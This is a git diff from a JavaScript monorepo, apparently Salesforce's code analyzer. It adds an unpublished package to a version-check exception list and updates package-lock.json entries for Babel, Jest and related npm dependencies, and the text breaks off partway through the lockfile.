diff --git a/.node-scripts/validate-changed-package-versions.js b/.node-scripts/validate-changed-package-versions.js index 5239e716..ac028bdc 100644 --- a/.node-scripts/validate-changed-package-versions.js +++ b/.node-scripts/validate-changed-package-versions.js @@ -114,7 +114,9 @@ function getLatestReleasedVersion(changedPackage) { function isPackageThatHasNotPublished(changedPackage) { return [ - "packages/ENGINE-TEMPLATE" + "packages/ENGINE-TEMPLATE", + // TODO: remove once @salesforce/code-analyzer-uibundle-engine is published to npm (W-23659201) + "packages/code-analyzer-uibundle-engine" ].includes(changedPackage.replace("\\","/")); } diff --git a/package-lock.json b/package-lock.json index 01cb8e60..c06fda87 100644 --- a/package-lock.json +++ b/package-lock.json @@ -43,29 +43,29 @@ } }, "node_modules/@babel/compat-data": { - "version": "7.29.3", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.3.tgz", - "integrity": "sha512-LIVqM46zQWZhj17qA8wb4nW/ixr2y1Nw+r1etiAWgRM6U1IqP+LNhL1yg440jYZR72jCWcWbLWzIosH+uP1fqg==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/core": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.29.0", - "@babel/generator": "^7.29.0", - "@babel/helper-compilation-targets": "^7.28.6", - "@babel/helper-module-transforms": "^7.28.6", - "@babel/helpers": "^7.28.6", - "@babel/parser": "^7.29.0", - "@babel/template": "^7.28.6", - "@babel/traverse": "^7.29.0", - "@babel/types": "^7.29.0", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", @@ -83,46 +83,21 @@ }, "node_modules/@babel/core/node_modules/semver": { "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "license": "ISC", "bin": { "semver": "bin/semver.js" } }, - "node_modules/@babel/eslint-parser": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.28.6.tgz", - "integrity": "sha512-QGmsKi2PBO/MHSQk+AAgA9R6OHQr+VqnniFE0eMWZcVcfBZoA2dKn2hUsl3Csg/Plt9opRUWdY7//VXsrIlEiA==", - "license": "MIT", - "peer": true, - "dependencies": { - "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", - "eslint-visitor-keys": "^2.1.0", - "semver": "^6.3.1" - }, - "engines": { - "node": "^10.13.0 || ^12.13.0 || >=14.0.0" - }, - "peerDependencies": { - "@babel/core": "^7.11.0", - "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0" - } - }, - "node_modules/@babel/eslint-parser/node_modules/semver": { - "version": "6.3.1", - "license": "ISC", - "peer": true, - "bin": { - "semver": "bin/semver.js" - } - }, "node_modules/@babel/generator": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", - "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.8.tgz", + "integrity": "sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg==", "license": "MIT", "dependencies": { - "@babel/parser": "^7.29.7", - "@babel/types": "^7.29.7", + "@babel/parser": "^7.29.8", + "@babel/types": "^7.29.8", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" @@ -144,13 +119,13 @@ } }, "node_modules/@babel/helper-compilation-targets": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", "license": "MIT", "dependencies": { - "@babel/compat-data": "^7.28.6", - "@babel/helper-validator-option": "^7.27.1", + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" @@ -161,6 +136,8 @@ }, "node_modules/@babel/helper-compilation-targets/node_modules/semver": { "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "license": "ISC", "bin": { "semver": "bin/semver.js" @@ -189,14 +166,14 @@ } }, "node_modules/@babel/helper-module-transforms": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", "license": "MIT", "dependencies": { - "@babel/helper-module-imports": "^7.28.6", - "@babel/helper-validator-identifier": "^7.28.5", - "@babel/traverse": "^7.28.6" + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -242,25 +219,25 @@ } }, "node_modules/@babel/helpers": { - "version": "7.29.2", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", "license": "MIT", "dependencies": { - "@babel/template": "^7.28.6", - "@babel/types": "^7.29.0" + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/parser": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", - "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.8.tgz", + "integrity": "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==", "license": "MIT", "dependencies": { - "@babel/types": "^7.29.7" + "@babel/types": "^7.29.8" }, "bin": { "parser": "bin/babel-parser.js" @@ -271,6 +248,8 @@ }, "node_modules/@babel/plugin-syntax-async-generators": { "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -282,6 +261,8 @@ }, "node_modules/@babel/plugin-syntax-bigint": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -293,6 +274,8 @@ }, "node_modules/@babel/plugin-syntax-class-properties": { "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -304,6 +287,8 @@ }, "node_modules/@babel/plugin-syntax-class-static-block": { "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -317,11 +302,13 @@ } }, "node_modules/@babel/plugin-syntax-import-attributes": { - "version": "7.27.1", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.29.7.tgz", + "integrity": "sha512-zGYcYfq/WmZ4V+kBIXQon9dSSc8ircGZqw9ZaNhhGj9nZkeBu1jHLBDQqYYi5WA9uawvA2sIMbry2nCFhf5Djg==", "devOptional": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" + "@babel/helper-plugin-utils": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -332,6 +319,8 @@ }, "node_modules/@babel/plugin-syntax-import-meta": { "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", "devOptional": true, "license": "MIT", "dependencies": { @@ -343,6 +332,8 @@ }, "node_modules/@babel/plugin-syntax-json-strings": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -369,6 +360,8 @@ }, "node_modules/@babel/plugin-syntax-logical-assignment-operators": { "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", "devOptional": true, "license": "MIT", "dependencies": { @@ -380,6 +373,8 @@ }, "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -391,6 +386,8 @@ }, "node_modules/@babel/plugin-syntax-numeric-separator": { "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", "devOptional": true, "license": "MIT", "dependencies": { @@ -402,6 +399,8 @@ }, "node_modules/@babel/plugin-syntax-object-rest-spread": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -413,6 +412,8 @@ }, "node_modules/@babel/plugin-syntax-optional-catch-binding": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -424,6 +425,8 @@ }, "node_modules/@babel/plugin-syntax-optional-chaining": { "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -435,6 +438,8 @@ }, "node_modules/@babel/plugin-syntax-private-property-in-object": { "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -449,6 +454,8 @@ }, "node_modules/@babel/plugin-syntax-top-level-await": { "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -462,13 +469,13 @@ } }, "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", - "integrity": "sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.29.7.tgz", + "integrity": "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA==", "devOptional": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.28.6" + "@babel/helper-plugin-utils": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -577,17 +584,17 @@ } }, "node_modules/@babel/traverse": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", - "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.8.tgz", + "integrity": "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==", "license": "MIT", "dependencies": { "@babel/code-frame": "^7.29.7", - "@babel/generator": "^7.29.7", + "@babel/generator": "^7.29.8", "@babel/helper-globals": "^7.29.7", - "@babel/parser": "^7.29.7", + "@babel/parser": "^7.29.8", "@babel/template": "^7.29.7", - "@babel/types": "^7.29.7", + "@babel/types": "^7.29.8", "debug": "^4.3.1" }, "engines": { @@ -595,9 +602,9 @@ } }, "node_modules/@babel/types": { - "version": "7.29.7", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", - "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.8.tgz", + "integrity": "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg==", "license": "MIT", "dependencies": { "@babel/helper-string-parser": "^7.29.7", @@ -609,8 +616,6 @@ }, "node_modules/@bcoe/v8-coverage": { "version": "0.2.3", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", "devOptional": true, "license": "MIT" }, @@ -685,8 +690,6 @@ }, "node_modules/@eslint/config-array": { "version": "0.21.2", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", - "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", "license": "Apache-2.0", "dependencies": { "@eslint/object-schema": "^2.1.7", @@ -699,8 +702,6 @@ }, "node_modules/@eslint/config-array/node_modules/brace-expansion": { "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", @@ -709,8 +710,6 @@ }, "node_modules/@eslint/config-array/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" @@ -1002,8 +1001,6 @@ }, "node_modules/@isaacs/cliui": { "version": "8.0.2", - "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", - "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", "license": "ISC", "dependencies": { "string-width": "^5.1.2", @@ -1019,8 +1016,6 @@ }, "node_modules/@isaacs/cliui/node_modules/ansi-regex": { "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", "license": "MIT", "engines": { "node": ">=12" @@ -1031,8 +1026,6 @@ }, "node_modules/@isaacs/cliui/node_modules/strip-ansi": { "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", "license": "MIT", "dependencies": { "ansi-regex": "^6.2.2" @@ -1145,8 +1138,6 @@ }, "node_modules/@jest/console": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-30.4.1.tgz", - "integrity": "sha512-v3bhyxUh9Hgmo5p6hAOXe14/R3ZxZDOsvHleh4B07z3m/x4/ngPUXEm9XwK4sF4u+f+P2ORb0Ge+MgpaqRMVDA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1163,8 +1154,6 @@ }, "node_modules/@jest/core": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-30.4.2.tgz", - "integrity": "sha512-TZJA6cPJUFxoWhxaLo8t0VX/MZX2wPWr0uIDvLSHIvN4gu9h02vSzqI2kBADG1ExqQlC+cY09xKMSreivvrChQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1211,8 +1200,6 @@ }, "node_modules/@jest/diff-sequences": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.4.0.tgz", - "integrity": "sha512-zOpzlfUs45l6u7jm39qr87JCHUDsaeCtvL+kQe/Vn9jSnRB4/5IPXISm0h9I1vZW/o00Kn4UTJ2MOlhnUGwv3g==", "devOptional": true, "license": "MIT", "engines": { @@ -1221,8 +1208,6 @@ }, "node_modules/@jest/environment": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.4.1.tgz", - "integrity": "sha512-AK9yNRqgKxiabqMoe4oW+3/TSSeV8vkdC7BGaxZdU0AFXfOpofTLqdru2GXKZghP3sdgwE9XXpnVwfZ8JnFV4w==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1237,8 +1222,6 @@ }, "node_modules/@jest/expect": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.4.1.tgz", - "integrity": "sha512-ginrj6TMgh2GshLUGCjO94Ptx9HhdZA/I6A9iUfyeLKFtdAjnKzHDgzgP9HYQgbxM1lbXScQ2eUBz2lGeVDPWA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1251,8 +1234,6 @@ }, "node_modules/@jest/expect-utils": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.4.1.tgz", - "integrity": "sha512-ZBn5CglH8fBsQsvs4VWNzD4aWfUYks+IdOOQU3MEK71ol/BcVm+P+rtb1KpiFBpSWSCE27uOahyyf1vfqOVbcQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1264,8 +1245,6 @@ }, "node_modules/@jest/fake-timers": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.4.1.tgz", - "integrity": "sha512-iW5umdmfPeWzehrVhugFQZqCchSCud5S1l2YT0O9ZhjRR0ExclANDZkiSBwzqtnlOn0J1JXvO+HZ6rkuyOVOgQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1290,8 +1269,6 @@ }, "node_modules/@jest/globals": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.4.1.tgz", - "integrity": "sha512-ZbuY4cmXC8DkxYjfvT2DbcHWL2T6vmsMhXCDcmTB2T0y0gaezBI77ufq5ZAIdcRkYZ7NEQEDg1xFeKbxUJ5v5Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1306,8 +1283,6 @@ }, "node_modules/@jest/pattern": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.4.0.tgz", - "integrity": "sha512-RAWn3+f9u8BsHijKJ71uHcFp6vmyEt6VvoWXkl6hKF3qVIuWNmudVjg12DlBPGup/frIl5UcUlH5HfEuvHpEXg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1320,8 +1295,6 @@ }, "node_modules/@jest/reporters": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-30.4.1.tgz", - "integrity": "sha512-/SnkPCzEQpUaBH81kjdEdDdo2WZl5hxw+BmLDGWjRkm8o7XlhjwsU36cqwe5PGBE5WYpBvDzRSdXx9rbGuJtNA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1363,8 +1336,6 @@ }, "node_modules/@jest/schemas": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.4.1.tgz", - "integrity": "sha512-i6b4qw5qnP8c5FEeBJg/uZQ4ddrkN6Ca8qISJh0pr7a5hfn3h3v5x60BEbOC7OYAGZNMs1LfFLwnW2CuK8F57Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1376,8 +1347,6 @@ }, "node_modules/@jest/snapshot-utils": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/snapshot-utils/-/snapshot-utils-30.4.1.tgz", - "integrity": "sha512-ObY4ljvQ95mt6iwKtVLetR/4yXiAgl3H4nJxhztr0MTjrN97TwDYrnCp/kF60Ec9HdhkWTHSu+Hg05aXfngpOA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1392,8 +1361,6 @@ }, "node_modules/@jest/source-map": { "version": "30.0.1", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-30.0.1.tgz", - "integrity": "sha512-MIRWMUUR3sdbP36oyNyhbThLHyJ2eEDClPCiHVbrYAe5g3CHRArIVpBw7cdSB5fr+ofSfIb2Tnsw8iEHL0PYQg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1407,8 +1374,6 @@ }, "node_modules/@jest/test-result": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-30.4.1.tgz", - "integrity": "sha512-/ZG7pgEiOmmWkN9TplKbOu4id2N5lh7FHwRwlkgBVAzGdRH+OkkQ8wX/kIxg4zmd3ZQvAL1RwL2yWsvNYYECTw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1423,8 +1388,6 @@ }, "node_modules/@jest/test-sequencer": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-30.4.1.tgz", - "integrity": "sha512-PeYE+4td5rKjoRPxztObrXU+H8hsjZfxKMXOcmrr34JerSyB/ROOxbbicz8B7A5j9R9VayDnVPvBmedqCsFCdw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1439,8 +1402,6 @@ }, "node_modules/@jest/transform": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-30.4.1.tgz", - "integrity": "sha512-Wz0LyktlTvRefoymh+n64hQ84KNXsRGcwdoZ8CSa0Ea+fgYcHZlnk+hDP7v2MS7il2bQ5uTEIxf4/NNfhMN4KQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1465,8 +1426,6 @@ }, "node_modules/@jest/types": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.4.1.tgz", - "integrity": "sha512-f1x/vJXIfjOlEmejYpbkbgw1gOqpPECwMvMEtBqe47j7H2Hg8h8w3o3ikhSXq3MI15kg+oQ0exWO0uCtTNJLoQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -1492,8 +1451,6 @@ }, "node_modules/@jridgewell/remapping": { "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", "license": "MIT", "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", @@ -1521,8 +1478,6 @@ }, "node_modules/@jsforce/jsforce-node": { "version": "3.10.14", - "resolved": "https://registry.npmjs.org/@jsforce/jsforce-node/-/jsforce-node-3.10.14.tgz", - 